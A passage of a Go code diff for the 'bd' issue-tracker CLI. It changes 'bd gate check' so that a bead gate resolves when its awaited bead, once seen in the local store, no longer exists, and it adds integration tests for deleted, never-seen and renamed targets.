proxied route has no local store, so it must not build a -// store-backed getter there (#5861). +// store-backed getter there (#5861), and the direct route reads from the +// store that owns the gate. func TestCloseBeadGateGetter_RouteSelection(t *testing.T) { oldMode := proxiedServerMode t.Cleanup(func() { proxiedServerMode = oldMode }) + gateStore := &beadGateLocalStore{} proxiedServerMode = true - if _, ok := closeBeadGateGetter().(proxiedFreshReadGetter); !ok { - t.Errorf("proxied-server mode: got %T, want proxiedFreshReadGetter", closeBeadGateGetter()) + if _, ok := closeBeadGateGetter(gateStore).(proxiedFreshReadGetter); !ok { + t.Errorf("proxied-server mode: got %T, want proxiedFreshReadGetter", closeBeadGateGetter(gateStore)) } proxiedServerMode = false - if _, ok := closeBeadGateGetter().(routedBeadGateGetter); !ok { - t.Errorf("direct mode: got %T, want routedBeadGateGetter", closeBeadGateGetter()) + getter, ok := closeBeadGateGetter(gateStore).(routedBeadGateGetter) + if !ok { + t.Fatalf("direct mode: got %T, want routedBeadGateGetter", closeBeadGateGetter(gateStore)) + } + if getter.localStore != gateStore { + t.Error("direct mode: the getter does not read the gate's own store") } } diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 3c00ceffa..94a614e3a 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -314,7 +314,7 @@ func closeProxiedCheckOne(ctx context.Context, uw uow.UnitOfWork, id string, in // unprefixed, so both routes now spell one refusal one way. if !in.force { - if err := checkGateSatisfaction(current); err != nil { + if err := checkGateSatisfaction(current, nil); err != nil { return fmt.Sprintf("cannot close %s: %s", id, err), nil } } diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index ff1eb65a5..3aa97289e 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -4,6 +4,7 @@ import ( "bytes" "context" "encoding/json" + "errors" "fmt" "os" "os/exec" @@ -13,6 +14,7 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" ) @@ -604,7 +606,7 @@ Gate types: gh:run - Check GitHub Actions workflow runs gh:pr - Check pull request merge status timer - Check timer gates (auto-expire based on timeout) - bead - Check cross-rig bead gates + bead - Check bead gates all - Check all gate types GitHub gates use the 'gh' CLI to query status: @@ -615,7 +617,8 @@ A gate is resolved when: - gh:run: status=completed AND conclusion=success - gh:pr: state=MERGED - timer: current time > created_at + timeout - - bead: target bead status=closed + - bead: target bead status=closed, or a bead an earlier check saw in + this rig no longer exists A gate is escalated when: - gh:run: status=completed AND conclusion in (failure, canceled) @@ -626,7 +629,7 @@ Examples: bd gate check --type=gh # Check only GitHub gates bd gate check --type=gh:run # Check only workflow run gates bd gate check --type=timer # Check only timer gates - bd gate check --type=bead # Check only cross-rig bead gates + bd gate check --type=bead # Check only bead gates bd gate check --dry-run # Show what would happen without changes bd gate check --escalate # Escalate expired/failed gates`, SilenceUsage: true, @@ -670,13 +673,21 @@ Examples: } var persistAwaitID func(gateID, runID string) error + var recordSeen func(gate *types.Issue) error if !dryRun { persistAwaitID = func(gateID, runID string) error { return updateGateAwaitIDFunc(nil, gateID, runID) } + recordSeen = func(gate *types.Issue) error { + if err := store.UpdateIssue(ctx, gate.ID, beadGateSeenUpdate(gate.AwaitID), actor); err != nil { + return err + } + commandDidWrite.Store(true) + return nil + } } - results := evaluateGates(ctx, filteredGates, time.Now(), routedBeadGateGetter{localStore: store}, persistAwaitID) + results := evaluateGates(ctx, filteredGates, time.Now(), routedBeadGateGetter{localStore: store}, persistAwaitID, recordSeen) resolvedCount, escalatedCount, errorCount := applyGateCheckResults( results, dryRun, escalateFlag, @@ -715,7 +726,7 @@ func printNoOpenGates(typeFilter string) { } } -func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, getter issueGetter, persistAwaitID func(gateID, runID string) error) []gateCheckResult { +func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, getter issueGetter, persistAwaitID func(gateID, runID string) error, recordSeen func(gate *types.Issue) error) []gateCheckResult { results := make([]gateCheckResult, 0, len(gates)) for _, gate := range gates { r := gateCheckResult{gate: gate} @@ -727,7 +738,7 @@ func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, get case gate.AwaitType == "timer": r.resolved, r.escalated, r.reason, r.err = checkTimer(gate, now) case gate.AwaitType == "bead": - r.resolved, r.reason, r.err = checkBeadGate(ctx, getter, gate.AwaitID) + r.resolved, r.reason, r.err = evaluateBeadGate(ctx, gate, getter, recordSeen) default: continue } @@ -1248,71 +1259,318 @@ func checkTimer(gate *types.Issue, now time.Time) (resolved, escalated bool, rea return false, false, fmt.Sprintf("expires in %s", remaining), nil } -// issueGetter is the one storage method checkBeadGate needs, split out so +// issueGetter is the one storage method inspectBeadGate needs, split out so // tests can fake the lookup without standing up a Dolt store. type issueGetter interface { GetIssue(ctx context.Context, id string) (*types.Issue, error) } +// beadGateTargetGetter is implemented by getters that also report where the +// awaited bead was looked up. local is true when the answer came from this +// rig's own store; a bead read through a prefix or contributor route is not +// local. Only a local sighting is recorded on the gate (see +// evaluateBeadGate), so a misdirected route can never let a later local miss +// resolve the gate. A getter without this method is treated as local. +type beadGateTargetGetter interface { + getBeadGateTarget(ctx context.Context, id string) (issue *types.Issue, local bool, err error) +} + +// errBeadGateTargetUnconfirmed marks a miss that happened somewhere other +// than this rig's own store: a route matched but its store could not be read, +// or the routed store did not return the bead. Neither proves the bead is +// gone, so the gate stays pending instead of resolving. +var errBeadGateTargetUnconfirmed = errors.New("cannot confirm the awaited bead is gone") + +// beadGateNotFound reports whether a lookup failed because the bead does not +// exist, as opposed to the read itself failing. +func beadGateNotFound(err error) bool { + return gateProxiedNotFound(err) || isNotFoundErr(err) +} + // routedBeadGateGetter gives direct-mode gate checks the same local -> prefix // route -> contributor fallback used by other read commands. Routed stores are -// opened read-only and closed before the result is returned. +// opened read-only and closed before the result is returned. Unlike +// getIssueWithRouting, a route that fails or misses is reported as +// errBeadGateTargetUnconfirmed instead of as the local not-found. type routedBeadGateGetter struct { localStore storage.DoltStorage } func (g routedBeadGateGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + issue, _, err := g.getBeadGateTarget(ctx, id) + return issue, err +} + +func (g routedBeadGateGetter) getBeadGateTarget(ctx context.Context, id string) (*types.Issue, bool, error) { if g.localStore == nil { - return nil, fmt.Errorf("no local store available") + return nil, false, fmt.Errorf("no local store available") + } + issue, err := g.localStore.GetIssue(ctx, id) + if err == nil && issue != nil { + return issue, true, nil + } + if err != nil && !beadGateNotFound(err) { + return nil, false, err + } + + routed, routeErr := prefixRoutedBeadGateTarget(ctx, id) + if routed == nil { + var autoErr error + routed, autoErr = autoRoutedBeadGateTarget(ctx, g.localStore, id) + if routeErr == nil { + routeErr = autoErr + } + } + if routed != nil { + return routed, false, nil + } + if routeErr != nil { + return nil, false, routeErr + } + return issue, true, err +} + +// prefixRoutedBeadGateTarget looks id up through routes.jsonl. It returns +// (nil, nil) when no route sends id to another rig, so this rig's own answer +// stands, and errBeadGateTargetUnconfirmed when routes.jsonl cannot be read or +// a matched route's rig fails or does not return the bead. +func prefixRoutedBeadGateTarget(ctx context.Context, id string) (*types.Issue, error) { + beadsDir := resolveCommandBeadsDir(dbPath) + if beadsDir == "" { + return nil, nil + } + routes, err := loadPrefixRoutes(beadsDir) + if errors.Is(err, os.ErrNotExist) { + return nil, nil } - result, err := getIssueWithRouting(ctx, g.localStore, id) if err != nil { - return nil, err + return nil, fmt.Errorf("%w: reading routes.jsonl: %w", errBeadGateTargetUnconfirmed, err) + } + route := matchPrefixRoute(routes, id) + if route == nil || route.Path == "." { + return nil, nil + } + + result, err := resolveViaPrefixRouting(ctx, id) + if err != nil { + return nil, fmt.Errorf("%w: bead %s routes to %s: %w", errBeadGateTargetUnconfirmed, id, route.Path, err) } defer result.Close() + if result.Issue == nil { + return nil, fmt.Errorf("%w: bead %s routes to %s, which did not return it", errBeadGateTargetUnconfirmed, id, route.Path) + } return result.Issue, nil } -// checkBeadGate checks if a bead gate is satisfied. -// Returns (satisfied, reason, err). A non-nil err means the awaited bead could -// not be read at all (backend or transport failure): the gate is neither -// satisfied nor pending, and the caller reports it as an error rather than -// letting a dead store read as "still waiting". A missing bead is not an -// error; it stays pending with a not-found reason. -// -// A plain await_id names a bead in this rig. The historical -// : form uses the bead ID as the routed lookup key; the rig -// component is retained for compatibility while routes.jsonl remains keyed by -// bead prefix. The supplied getter owns local-versus-routed lookup policy. -func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string, error) { - if awaitID == "" { - return false, "bead gate has no await_id", nil - } - targetID := awaitID - if strings.Contains(awaitID, ":") { - parts := strings.SplitN(awaitID, ":", 2) - if parts[0] == "" || parts[1] == "" { - return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID), nil - } - targetID = parts[1] - } - if st == nil { - return false, fmt.Sprintf("bead gate %q: no local store available", awaitID), nil - } - issue, err := st.GetIssue(ctx, targetID) +// autoRoutedBeadGateTarget looks id up in the contributor auto-routed store. +// It returns (nil, nil) when no auto-route is configured; like a prefix +// route, a store that cannot be opened or does not return the bead leaves its +// absence unconfirmed. +func autoRoutedBeadGateTarget(ctx context.Context, localStore storage.DoltStorage, id string) (*types.Issue, error) { + routedStore, routed, _, err := openRoutedReadStore(ctx, localStore) if err != nil { - if gateProxiedNotFound(err) || isNotFoundErr(err) { - return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil + return nil, fmt.Errorf("%w: %w", errBeadGateTargetUnconfirmed, err) + } + if !routed { + return nil, nil + } + defer func() { _ = routedStore.Close() }() + + result, err := resolveAndGetFromStore(ctx, routedStore, id, true) + if err != nil { + return nil, fmt.Errorf("%w: looking up bead %s in the auto-routed store: %w", errBeadGateTargetUnconfirmed, id, err) + } + if result.Issue == nil { + return nil, fmt.Errorf("%w: the auto-routed store did not return bead %s", errBeadGateTargetUnconfirmed, id) + } + return result.Issue, nil +} + +// lookupBeadGateTarget asks st for id and reports whether the answer came +// from this rig's own store. +func lookupBeadGateTarget(ctx context.Context, st issueGetter, id string) (*types.Issue, bool, error) { + if g, ok := st.(beadGateTargetGetter); ok { + return g.getBeadGateTarget(ctx, id) + } + issue, err := st.GetIssue(ctx, id) + return issue, true, err +} + +// beadGateCheck is the outcome of one bead gate lookup. gone means this rig's +// own store answered that the awaited bead does not exist; seenHere means it +// returned the bead, not yet closed. +type beadGateCheck struct { + resolved bool + reason string + targetID string + gone bool + seenHere bool +} + +// beadGateTargetID returns the bead ID named by a bead gate's await_id. A +// plain await_id names a bead in this rig. The historical : +// form uses the bead ID as the routed lookup key; the rig component is +// retained for compatibility while routes.jsonl remains keyed by bead prefix. +// When there is nothing to look up, it returns the reason the gate stays +// pending instead. +func beadGateTargetID(awaitID string) (targetID, pendingReason string) { + if awaitID == "" { + return "", "bead gate has no await_id" + } + if !strings.Contains(awaitID, ":") { + return awaitID, "" + } + parts := strings.SplitN(awaitID, ":", 2) + if parts[0] == "" || parts[1] == "" { + return "", fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID) + } + return parts[1], "" +} + +// inspectBeadGate looks up a bead gate's target. A non-nil err means the +// awaited bead could not be read at all (backend or transport failure): the +// gate is neither resolved nor pending, and the caller reports it as an error +// rather than letting a dead store read as "still waiting". A bead that this +// rig's own store reports missing is not an error either: it is reported gone, +// and resolved with a "no longer exists" reason. A miss anywhere else (see +// errBeadGateTargetUnconfirmed) keeps the gate pending. +// +// The supplied getter owns local-versus-routed lookup policy. The lookup alone +// is not the bead-gate rule: a gone bead resolves the gate only after an +// earlier sighting, so decide through evaluateBeadGate. +func inspectBeadGate(ctx context.Context, st issueGetter, awaitID string) (beadGateCheck, error) { + targetID, pendingReason := beadGateTargetID(awaitID) + if pendingReason != "" { + return beadGateCheck{reason: pendingReason}, nil + } + c := beadGateCheck{targetID: targetID} + if st == nil { + c.reason = fmt.Sprintf("bead gate %q: no local store available", awaitID) + return c, nil + } + + issue, local, err := lookupBeadGateTarget(ctx, st, targetID) + switch { + case errors.Is(err, errBeadGateTargetUnconfirmed): + // Checked before the not-found test below, because the routing error + // it wraps can itself be a not-found from the routed store. + c.reason = fmt.Sprintf("bead gate %q: %v", awaitID, err) + case err != nil && !beadGateNotFound(err): + return c, fmt.Errorf("bead gate %q: %w", awaitID, err) + case err != nil || issue == nil: + // A bead that no longer exists can never close, so a gate awaiting it + // would stay pending forever. Resolve it. + c.resolved, c.gone = true, true + c.reason = fmt.Sprintf("awaited bead %s no longer exists (treated as resolved)", targetID) + case issue.Status == types.StatusClosed: + c.resolved = true + c.reason = fmt.Sprintf("bead %s closed", targetID) + default: + c.seenHere = local + c.reason = fmt.Sprintf("bead %s is %s", targetID, issue.Status) + } + return c, nil +} + +// beadGateSeenKey is the gate metadata key that records a bd gate check +// seeing the awaited bead in this rig's own store. Its value is the await_id +// that was seen, so retargeting the gate invalidates the record. +const beadGateSeenKey = "await_seen" + +// evaluateBeadGate is the bd gate check rule for a bead gate. It adds one +// condition to inspectBeadGate: an awaited bead that does not exist resolves +// the gate only if an earlier check saw it here and the stored gate still +// records that sighting (see rereadBeadGate). An await_id that never named a +// real bead (a typo, a short ID, a rig without a route) keeps the gate pending +// with a diagnostic instead of unblocking its step. getter reads the gate's own +// store. recordSeen, when non-nil, records the first sighting of the bead on +// the gate. +func evaluateBeadGate(ctx context.Context, gate *types.Issue, getter issueGetter, recordSeen func(gate *types.Issue) error) (bool, string, error) { + c, err := inspectBeadGate(ctx, getter, gate.AwaitID) + if err != nil { + return false, "", err + } + seen := beadGateTargetSeen(gate) + if c.gone && !seen { + return false, fmt.Sprintf("awaited bead %s not found, and no earlier gate check saw it; check the await_id, or close the gate with bd gate resolve", c.targetID), nil + } + if c.gone { + if pendingReason, err := rereadBeadGate(ctx, getter, gate, c.targetID); err != nil || pendingReason != "" { + return false, pendingReason, err } - return false, "", fmt.Errorf("bead gate %q: %w", awaitID, err) } - if issue == nil { - return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil + if c.seenHere && !seen && recordSeen != nil { + if err := recordSeen(gate); err != nil { + return false, "", fmt.Errorf("recording that bead %s exists: %w", c.targetID, err) + } } - if issue.Status == types.StatusClosed { - return true, fmt.Sprintf("bead %s closed", targetID), nil + return c.resolved, c.reason, nil +} + +// rereadBeadGate reads gate back from getter once its awaited bead, targetID, +// was found gone, and returns a pending reason unless the stored gate still +// waits on the same await_id and records its sighting. The caller's copy can +// predate a rename of the bead: bd rename points the gate at the new ID +// before the bead takes it (see renameIssueKeepingBeadGates), so a check that +// listed the gate before the rename and looks the bead up after it finds the +// old ID gone on a copy that still records the sighting. This read comes after +// that miss, so it sees the gate already moved. An error means the gate could +// not be read at all. +func rereadBeadGate(ctx context.Context, getter issueGetter, gate *types.Issue, targetID string) (string, error) { + stored, local, err := lookupBeadGateTarget(ctx, getter, gate.ID) + switch { + case err != nil && !errors.Is(err, errBeadGateTargetUnconfirmed) && !beadGateNotFound(err): + return "", fmt.Errorf("reading gate %s back: %w", gate.ID, err) + case err != nil || stored == nil || !local: + return fmt.Sprintf("awaited bead %s not found, and the gate could not be read back to confirm it still waits on it; check it again", targetID), nil + case stored.AwaitID != gate.AwaitID || !beadGateTargetSeen(stored): + return fmt.Sprintf("awaited bead %s not found, but the gate changed while it was being checked; check it again", targetID), nil } - return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status), nil + return "", nil +} + +// beadGateTargetSeen reports whether gate metadata records a sighting of the +// gate's current await_id. Unreadable metadata counts as no sighting. +func beadGateTargetSeen(gate *types.Issue) bool { + return gate != nil && gate.AwaitID != "" && beadGateSeenID(gate) == gate.AwaitID +} + +// beadGateSeenID returns the await_id that gate metadata records a sighting +// of, or "" when it records none. Unreadable metadata counts as none. +func beadGateSeenID(gate *types.Issue) string { + if len(gate.Metadata) == 0 { + return "" + } + var meta map[string]json.RawMessage + if err := json.Unmarshal(gate.Metadata, &meta); err != nil { + return "" + } + var seen string + if err := json.Unmarshal(meta[beadGateSeenKey], &seen); err != nil { + return "" + } + return seen +} + +// beadGateSeenUpdate is the update that records a sighting of awaitID. It is +// a metadata merge operation, resolved against the row inside the write +// transaction, so other metadata keys on the gate are preserved. +func beadGateSeenUpdate(awaitID string) map[string]interface{} { + value, _ := json.Marshal(awaitID) + return map[string]interface{}{ + storageissueops.OpSetMetadata: map[string]json.RawMessage{beadGateSeenKey: value}, + } +} + +// beadGateRetargetUpdate is the update that points a bead gate at awaitID. +// With dropSeen it also removes the gate's sighting in the same write, for a +// rename step that cannot keep it (see renameIssueKeepingBeadGates). +func beadGateRetargetUpdate(awaitID string, dropSeen bool) map[string]interface{} { + update := map[string]interface{}{"await_id": awaitID} + if dropSeen { + update[storageissueops.OpUnsetMetadata] = []string{beadGateSeenKey} + } + return update } // closeGate closes a gate issue with the given reason diff --git a/cmd/bd/gate_check_proxied_integration_test.go b/cmd/bd/gate_check_proxied_integration_test.go index 1906583a2..633b854d5 100644 --- a/cmd/bd/gate_check_proxied_integration_test.go +++ b/cmd/bd/gate_check_proxied_integration_test.go @@ -127,6 +127,64 @@ func TestProxiedServerGateCheck(t *testing.T) { } }) + t.Run("bead_gate_resolves_when_seen_target_is_deleted", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "gcg") + target := bdProxiedCreate(t, bd, p.dir, "Deleted bead gate target") + gate := bdProxiedCreate(t, bd, p.dir, "Bead gate", "--type", "gate") + db := openProxiedDB(t, p) + seedGateAwait(t, db, gate.ID, "bead", target.ID, time.Now().UTC(), 0) + + // The first check sees the open target and records that on the gate. + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "gate", "check", "--type", "bead"); err != nil { + t.Fatalf("gate check (target open) failed: %v\nstderr:\n%s", err, stderr) + } + if got := readStatus(t, db, gate.ID); got == types.StatusClosed { + t.Fatal("bead gate should stay pending while target is open") + } + var metadata string + if err := db.QueryRowContext(context.Background(), + "SELECT metadata FROM issues WHERE id = ?", gate.ID).Scan(&metadata); err != nil { + t.Fatalf("read gate metadata: %v", err) + } + if !strings.Contains(metadata, beadGateSeenKey) { + t.Fatalf("gate metadata %s does not record that the target was seen", metadata) + } + + if _, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "delete", target.ID, "--force"); err != nil { + t.Fatalf("delete target failed: %v\nstderr:\n%s", err, stderr) + } + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "gate", "check", "--type", "bead") + if err != nil { + t.Fatalf("gate check (target deleted) failed: %v\nstderr:\n%s", err, stderr) + } + if got := readStatus(t, db, gate.ID); got != types.StatusClosed { + t.Errorf("bead gate should resolve after its seen target is deleted, got %q", got) + } + if !strings.Contains(out, "1 resolved") || !strings.Contains(out, "no longer exists") { + t.Errorf("expected 1 resolved with a 'no longer exists' reason, got:\n%s", out) + } + }) + + t.Run("bead_gate_never_seen_target_stays_pending", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "gcu") + gate := bdProxiedCreate(t, bd, p.dir, "Bead gate on a mistyped target", "--type", "gate") + db := openProxiedDB(t, p) + seedGateAwait(t, db, gate.ID, "bead", "gcu-nosuchbead", time.Now().UTC(), 0) + + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "gate", "check", "--type", "bead") + if err != nil { + t.Fatalf("gate check failed: %v\nstderr:\n%s", err, stderr) + } + if got := readStatus(t, db, gate.ID); got == types.StatusClosed { + t.Error("a bead gate whose target no check ever saw must stay pending") + } + if !strings.Contains(out, "no earlier gate check saw it") { + t.Errorf("expected the never-seen diagnostic, got:\n%s", out) + } + }) + t.Run("type_filter_scopes_evaluation", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "gcf") diff --git a/cmd/bd/gate_embedded_test.go b/cmd/bd/gate_embedded_test.go index 27f58216f..04c93963c 100644 --- a/cmd/bd/gate_embedded_test.go +++ b/cmd/bd/gate_embedded_test.go @@ -72,6 +72,31 @@ func createGate(t *testing.T, bd, dir, title string, extraArgs ...string) *types return bdCreate(t, bd, dir, args...) } +// createBeadGate creates a bead gate awaiting awaitID on a new task, and +// returns the gate. +func createBeadGate(t *testing.T, bd, dir, awaitID string) *types.Issue { + t.Helper() + task := bdCreate(t, bd, dir, "Task waiting on "+awaitID, "--type", "task") + cmd := exec.Command(bd, "gate", "create", "--blocks", task.ID, + "--type", "bead", "--await-id", awaitID, "--json") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd gate create --type=bead failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + var gate types.Issue + s := strings.TrimSpace(stdout.String()) + start := strings.Index(s, "{") + if start < 0 { + t.Fatalf("no JSON in output: %s", s) + } + if err := json.Unmarshal([]byte(s[start:]), &gate); err != nil { + t.Fatalf("parse gate JSON: %v\n%s", err, s) + } + return &gate +} + func TestEmbeddedGate(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") @@ -628,6 +653,113 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("expected gate blocking %s in gate list", task.ID) } }) + + t.Run("check_bead_gate_resolves_only_a_missing_target_it_saw", func(t *testing.T) { + // Use a fresh db so the check sees only these bead gates + freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", "gb") + fs := openStore(t, freshBeads, "gb") + if err := fs.SetConfig(t.Context(), "types.custom", `["gate"]`); err != nil { + t.Fatalf("SetConfig: %v", err) + } + fs.Close() + + target := bdCreate(t, bd, freshDir, "Awaited bead", "--type", "task") + seenGate := createBeadGate(t, bd, freshDir, target.ID) + neverSeenGate := createBeadGate(t, bd, freshDir, "gb-nosuchbead") + + // The first check finds the target open and records that on its gate. + out := bdGate(t, bd, freshDir, "check", "--type", "bead") + if !strings.Contains(out, "no earlier gate check saw it") { + t.Errorf("expected a diagnostic for the never-seen await_id: %s", out) + } + if got := bdShow(t, bd, freshDir, seenGate.ID); got.Status != types.StatusOpen || !strings.Contains(string(got.Metadata), beadGateSeenKey) { + t.Fatalf("gate on an open target: status=%s metadata=%s, want open with %s", got.Status, got.Metadata, beadGateSeenKey) + } + + // A later check resolves the gate whose target it saw and that is now + // deleted; the await_id no check ever saw stays pending. + bdDelete(t, bd, freshDir, target.ID, "--force") + out = bdGate(t, bd, freshDir, "check", "--type", "bead") + if !strings.Contains(out, "1 resolved") || !strings.Contains(out, "no longer exists") { + t.Errorf("expected the deleted target's gate to resolve: %s", out) + } + if got := bdShow(t, bd, freshDir, seenGate.ID); got.Status != types.StatusClosed { + t.Errorf("gate on a deleted target: status=%s, want closed", got.Status) + } + if got := bdShow(t, bd, freshDir, neverSeenGate.ID); got.Status != types.StatusOpen { + t.Errorf("gate on a never-seen await_id: status=%s, want open", got.Status) + } + }) + + t.Run("rename_keeps_a_bead_gate_on_its_target", func(t *testing.T) { + // Renaming the awaited bead points its gate at the new ID and moves + // the sighting along, so the next check finds the bead instead of + // resolving the gate as though the bead had been deleted. + for _, tt := range []struct { + name string + prefix string + rename func(t *testing.T, dir, targetID string) (newID func(id string) string) + }{ + { + name: "bd rename", + prefix: "gn", + rename: func(t *testing.T, dir, targetID string) func(string) string { + bdCommand(t, bd, dir, "rename", targetID, "gn-renamed") + return func(id string) string { + if id == targetID { + return "gn-renamed" + } + return id + } + }, + }, + { + name: "bd rename-prefix", + prefix: "gp", + rename: func(t *testing.T, dir, _ string) func(string) string { + bdRenamePrefix(t, bd, dir, "gq") + return func(id string) string { return strings.Replace(id, "gp-", "gq-", 1) } + }, + }, + } { + t.Run(tt.name, func(t *testing.T) { + freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", tt.prefix) + fs := openStore(t, freshBeads, tt.prefix) + if err := fs.SetConfig(t.Context(), "types.custom", `["gate"]`); err != nil { + t.Fatalf("SetConfig: %v", err) + } + fs.Close() + + target := bdCreate(t, bd, freshDir, "Awaited bead", "--type", "task") + gate := createBeadGate(t, bd, freshDir, target.ID) + bdGate(t, bd, freshDir, "check", "--type", "bead") + if got := bdShow(t, bd, freshDir, gate.ID); !beadGateTargetSeen(got) { + t.Fatalf("the first check did not record the open target: metadata=%s", got.Metadata) + } + + newID := tt.rename(t, freshDir, target.ID) + gateID, targetID := newID(gate.ID), newID(target.ID) + got := bdShow(t, bd, freshDir, gateID) + if got.AwaitID != targetID || !beadGateTargetSeen(got) { + t.Fatalf("gate after the rename: await_id=%q metadata=%s, want %q recorded as seen", got.AwaitID, got.Metadata, targetID) + } + + out := bdGate(t, bd, freshDir, "check", "--type", "bead") + if got := bdShow(t, bd, freshDir, gateID); got.Status != types.StatusOpen { + t.Fatalf("gate on a renamed open bead: status=%s, want open\n%s", got.Status, out) + } + + bdClose(t, bd, freshDir, targetID) + out = bdGate(t, bd, freshDir, "check", "--type", "bead") + if got := bdShow(t, bd, freshDir, gateID); got.Status != types.StatusClosed { + t.Errorf("gate on a renamed bead that closed: status=%s, want closed\n%s", got.Status, out) + } + if !strings.Contains(out, "bead "+targetID+" closed") { + t.Errorf("expected the gate to resolve on the closed bead: %s", out) + } + }) + } + }) } // TestEmbeddedGateConcurrent exercises gate operations concurrently. diff --git a/cmd/bd/gate_proxied_server.go b/cmd/bd/gate_proxied_server.go index bf028cc8a..8597a749b 100644 --- a/cmd/bd/gate_proxied_server.go +++ b/cmd/bd/gate_proxied_server.go @@ -30,30 +30,42 @@ type gateCheckApply struct { updated []*types.Issue closeErrs map[string]error awaitErrs map[string]error + seenErrs map[string]error } +// proxiedFreshReadGetter reads bead gate targets in proxied-server mode, each +// lookup in a fresh read transaction. A target can be an issue or a wisp. A +// local miss falls back to prefix routing like the direct getter; proxied +// mode has no contributor auto-routing. type proxiedFreshReadGetter struct{} -func (proxiedFreshReadGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { +func (g proxiedFreshReadGetter) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + issue, _, err := g.getBeadGateTarget(ctx, id) + return issue, err +} + +func (proxiedFreshReadGetter) getBeadGateTarget(ctx context.Context, id string) (*types.Issue, bool, error) { uw, err := proxiedOpenReadUOW(ctx) if err != nil { - return nil, err + return nil, false, err } - issue, localErr := uw.IssueUseCase().GetIssue(ctx, id) + issue, _, localErr := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) uw.Close(ctx) if localErr == nil { - return issue, nil + return issue, true, nil } if !gateProxiedNotFound(localErr) { - return nil, localErr + return nil, false, localErr } - result, routeErr := resolveViaPrefixRouting(ctx, id) + routed, routeErr := prefixRoutedBeadGateTarget(ctx, id) if routeErr != nil { - return nil, localErr + return nil, false, routeErr } - defer result.Close() - return result.Issue, nil + if routed != nil { + return routed, false, nil + } + return nil, true, localErr } func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { @@ -83,12 +95,18 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } discovered := map[string]string{} + var seen []*types.Issue var persistAwaitID func(gateID, runID string) error + var recordSeen func(gate *types.Issue) error if !dryRun { persistAwaitID = func(gateID, runID string) error { discovered[gateID] = runID return nil } + recordSeen = func(gate *types.Issue) error { + seen = append(seen, gate) + return nil + } } readUW, err := proxiedOpenReadUOW(ctx) @@ -107,7 +125,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { printNoOpenGates(gateTypeFilter) return nil } - results := evaluateGates(ctx, filteredGates, time.Now(), proxiedFreshReadGetter{}, persistAwaitID) + results := evaluateGates(ctx, filteredGates, time.Now(), proxiedFreshReadGetter{}, persistAwaitID, recordSeen) if dryRun { resolved, escalated, errCount := applyGateCheckResults(results, true, escalateFlag, nil) @@ -118,6 +136,7 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { out := gateCheckApply{ closeErrs: map[string]error{}, awaitErrs: map[string]error{}, + seenErrs: map[string]error{}, } for gateID, runID := range discovered { @@ -130,6 +149,14 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { } } + for _, gate := range seen { + if err := recordBeadGateSeenProxied(ctx, uw, gate); err != nil { + out.seenErrs[gate.ID] = err + continue + } + out.updated = append(out.updated, gate) + } + for _, r := range results { if r.err != nil || !r.resolved { continue @@ -177,6 +204,11 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { results[i].escalated = false results[i].err = awaitErr } + if seenErr, failed := applied.seenErrs[results[i].gate.ID]; failed { + results[i].resolved = false + results[i].escalated = false + results[i].err = seenErr + } } resolved, escalated, errCount := applyGateCheckResults(results, false, escalateFlag, @@ -186,6 +218,21 @@ func runGateCheckProxiedServer(cmd *cobra.Command, ctx context.Context) error { return printGateCheckSummary(len(results), resolved, escalated, errCount, dryRun) } +// recordBeadGateSeenProxied is the proxied-server form of the direct route's +// recordSeen write: it stamps beadGateSeenKey on a bead gate, which may be an +// issue or a wisp. +func recordBeadGateSeenProxied(ctx context.Context, uw uow.UnitOfWork, gate *types.Issue) error { + _, isWisp, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), gate.ID) + if err == nil { + err = proxiedUpdateByID(ctx, uw, gate.ID, isWisp, beadGateSeenUpdate(gate.AwaitID)) + } + if err != nil { + targetID, _ := beadGateTargetID(gate.AwaitID) + return fmt.Errorf("recording that bead %s exists: %w", targetID, err) + } + return nil +} + // gateProxiedNotFound reports whether an issue lookup failed because the row // does not exist, as opposed to the read itself failing. The distinction is // what keeps 